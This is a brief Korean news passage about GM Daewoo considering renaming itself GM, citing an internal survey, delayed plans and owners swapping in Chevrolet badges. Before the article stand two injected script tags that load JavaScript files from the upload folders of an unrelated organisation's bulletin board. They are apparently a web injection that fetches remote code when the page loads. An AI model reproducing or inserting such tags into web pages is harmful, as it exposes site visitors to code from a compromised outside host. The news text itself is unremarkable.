<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> ○ GM대우 독립은 시간문제
GM대우의 움직임이 가장 적극적이다.
2002년 대우자동차를 인수한 GM은 GM대우라는 회사명을 써 왔는데 2005년부터 사내에서 “대우를 떼어 내고 그냥 GM으로 가는 것이 좋겠다”는 의견이 나오기 시작했다.
특히 지난해에는 사명(社名)을 GM으로 바꾸는 방안을 추진하면서 사내외에서 설문조사를 실시한 결과 긍정적인 효과가 더 많다는 결론이 나왔지만 최종 단계에서 일부 임원의 반대로 계획이 연기됐다.
현재 한국에서 생산된 GM대우 차종들은 외국에서 GM 산하의 시보레나 뷰익, 홀덴, 스즈키 등의 브랜드로 팔리고 있다.
GM대우 관계자는 “이미 GM대우의 차량을 구입한 운전자 중 상당수가 GM대우 로고를 떼어 내고 시보레 로고로 바꾸고 있다”며 “2, 3년 내에 회사명을 바꾸는 작업이 본격적으로 추진될 것”이라고 말했다.
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